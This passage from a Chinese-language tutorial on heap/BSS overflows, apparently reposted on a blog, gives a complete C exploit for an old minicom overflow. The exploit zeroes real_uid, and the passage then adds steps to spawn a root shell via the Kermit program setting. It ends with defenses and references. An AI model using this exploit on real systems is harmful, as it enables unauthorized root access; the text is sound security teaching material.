   3. *dir() (readdir, seekdir, ...)  DIR 结构 (dir/heap buffers)
   4. atexit()                        静态/全局函数指针
   5. strdup()                        在heap区动态分配数据
   7. getenv()                        储存数据在heap区
   8. tmpnam()                        储存数据在heap区
   9. malloc()                        链指针
   10. rpc callback 函数    	      函数指针
   11. windows callback 函数          函数指针保存在heap区
   12. signal handler pointers        
函数指针(注意:unix在内核中跟踪这些信号,
       in cygnus (gcc for win),       而不是在heap中)

printf(),fget(),readir(),seekdir()等函数为FILE结构在heap中分配的空间可以被重写。
atexit()的函数指针将在程序中断时被调用。strdup()会将字符串(如文件名,口令等等)
储存在heap区。malloc()的链指针能被用来非法访问内存。getenv()将数据储存在heap中,
允许我们修改$HOME等变量。svc/rpc注册函数(librpc,libnsl等等)将回叫函数指针储存在
heap中.

现在我们来看一个真实的例子。版本低于1.81.1的minicom有不少缓冲区溢出的漏洞。
其中一个是:
                case 't': /* Terminal type */
溢出 --->                    strcpy(termtype, optarg);
		#ifdef __linux__
                        /* Bug in older libc's (< 4.5.26 I think) */
                        if ((s = getenv("TERMCAP")) != NULL && *s != '/')
                                unsetenv("TERMCAP");
		#endif
termtype是static型的数组,也就是在BSS区。现在我们看看是否这块内存中有什么重要
的东西。在minicom.h中,我们看到了:

	EXTERN int real_uid;    /* 真实的用户id */
	EXTERN int real_gid;    /* 真实的组id */
	EXTERN int eff_uid;     /* 有效的用户id */
	EXTERN int eff_gid;     /* 有效的组id */
如果我们能够修改real_uid,那我们就可能获得root的特权。先让我们看看
它离termtype有多员,我们在minicom.c中插入一行代码:

	printf ("real_uid is at: %x\n"
		"termtype is at: %x\n", &real_uid,termtype);

输出结果如下:
	real_uid is at: 80664b4
	termtype is at: 8066480

很好,real_uid的地址比termtype高52个字节.我们只要将第53,54,55,56字节赋为0即可.
但字符串中只有最后一个字节(终止符)才能为0,所以我们不得不执行4次覆盖。
getopg()可以重复的读取一个参数(这里是 
-t),因此我们先让它读取termtype+55长的字
符串,这将使realid的最后一个字节为0。然后依次用termtype+54,termtype+53,termtyp
e+52来覆盖。这样就会使realid的四个字节都变成0了。

----------------------------------------------------------------------------
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define OFFSET          52

/* if you figure this out, you could try defining it */
//#define UTTY "/dev/ttyp0"

char * makestring (int ch, int len)
{
        static char b[500];
        int     i;

        for (i=0 ; i<len ; i++)
        {
                b[i] = ch;
        }
        b[i] = 0;
        return b;
}

int main (int argc, char **argv)
{
        char    bleh[4][60];

        strcpy (bleh[0],makestring(255,OFFSET+3));/* 
为了覆盖termtype+55处的字节*/
        strcpy (bleh[1],makestring(255,OFFSET+2));/* 
为了覆盖termtype+54处字节*/
        strcpy (bleh[2],makestring(255,OFFSET+1));/* 
为了覆盖termtype+53处字节*/
        strcpy (bleh[3],makestring(255,OFFSET));  /* 
为了覆盖termtype+52处字节*/

#ifdef UTTY
        execl ("/usr/bin/minicom","minicom",
        "-t",bleh[0],"-t",bleh[1],
        "-t",bleh[2],"-t",bleh[3],
        "-t","vt100","-s",
        "-p",UTTY,NULL);
#else
        execl ("/usr/bin/minicom","minicom",
        "-t",bleh[0],"-t",bleh[1],
        "-t",bleh[2],"-t",bleh[3],
        "-t","vt100",
        "-s",NULL);
#endif
        return 0;
}
-------------------------------------------------------------------------------

所以现在real_uid变成了0x00000000 (root)
我们可以通过minicom来执行一个root 
shell.在执行了上述代码以后,你会发现minicom
的显示变成乱字符了。我们可以在另一个终端重新起一个minicom,看一下它的菜单,选择
`Filenames and paths':

A - Download directory : /tmp
B -   Upload directory :
C -   Script directory :
D -     Script program : runscript
E -     Kermit program : /usr/bin/kermit
    Change which setting?

我们只要将`E- Kermit program' 
中的/usr/bin/kermit改成/bin/bash,我们就可以获得
一个root shell了。切换回原先的终端,修改'E'项,然后按CTRL+A+K启动kermit,
bash#

这是heap/BSS溢出的一个实例。这样的例子正在逐渐地增加,前不久CERT公布的wuftp 
2.
5.0的mapped_path漏洞就是一个heap溢出(longjmp/setjmp)的新例子,有兴趣的可以自己
看一下。

四. 可能的解决方法
~~~~~~~~~~~~~~~~~~
很明显,防止基于heap的溢出的最佳方法就是编写优秀的代码!同堆栈溢出一样,并没有一
种方法能真正防止heap溢出.
我们可以使用Richard Jones和Paul 
Kelly开发的带边界检查的gcc/egcs(它应该可以检查
大部分的潜在的溢出问题).这个程序可以从Richard Jone的主页上下载:
		http://www.annexia.demon.co.uk
它能检查大多数由于人为的疏忽而导致的溢出.例如:
"int array[10];
for (i = 0; i <= 10; i++) array[i] = 1".

注意:
    对于Windows系统,可以用NuMega的边界检查程序.它的功能和带边界检查的gcc
    类似.

我们总是可以做一个不可执行heap的patch(就想前面所提到的,大多数系统都有一个可执行
的heap).在和Solar 
Designer交换意见以后,他提到不可执行heap的主要问题是可能会影响
到编译器,解释器等等

注意:

   
即使一个heap不可执行,也并不能解决溢出的问题.因为尽管我们不能在heap执行指令.
   我们仍然可以覆盖在heap中的数据.(就象前面minicom的例子)

另一个可能的方法就是做一个"HeapGuard",类似Crispin 
Cowan的StackGuard.他们已经开
发了一个新的PointGuard,用来防止函数指针的溢出以及jmpbuf的溢出,据称经过配置也可
以防止stack/heap/bss中变量的非法覆盖.详细资料可以参看他们新发表的文章:
<<Buffer Overflows: Attacks and Defenses for the Vulnerability of the 
Decade>>

<完>


参考文献:

[1] <<w00w00 on Heap Overflows>>  by Matt Conover (a.k.a. Shok) & w00w00 
Security Team
[2] <<Buffer Overflows: Attacks and Defenses for the Vulnerability of the 
Decade>>
     by Crispin Cowan, Perry Wagle, Calton Pu,Steve Beattie, and Jonathan 
Walpole
[3] <<a fuqn awesome minicom static buffer overflow>>. "ohday" . B4B0,3(9)
[4] <<Smashing The Stack For Fun And Profit>>. "Aleph One". Phrack, 7(49)

posted on 2012-02-23 18:13  belie8  阅读(1613)  评论(0编辑  收藏  举报

导航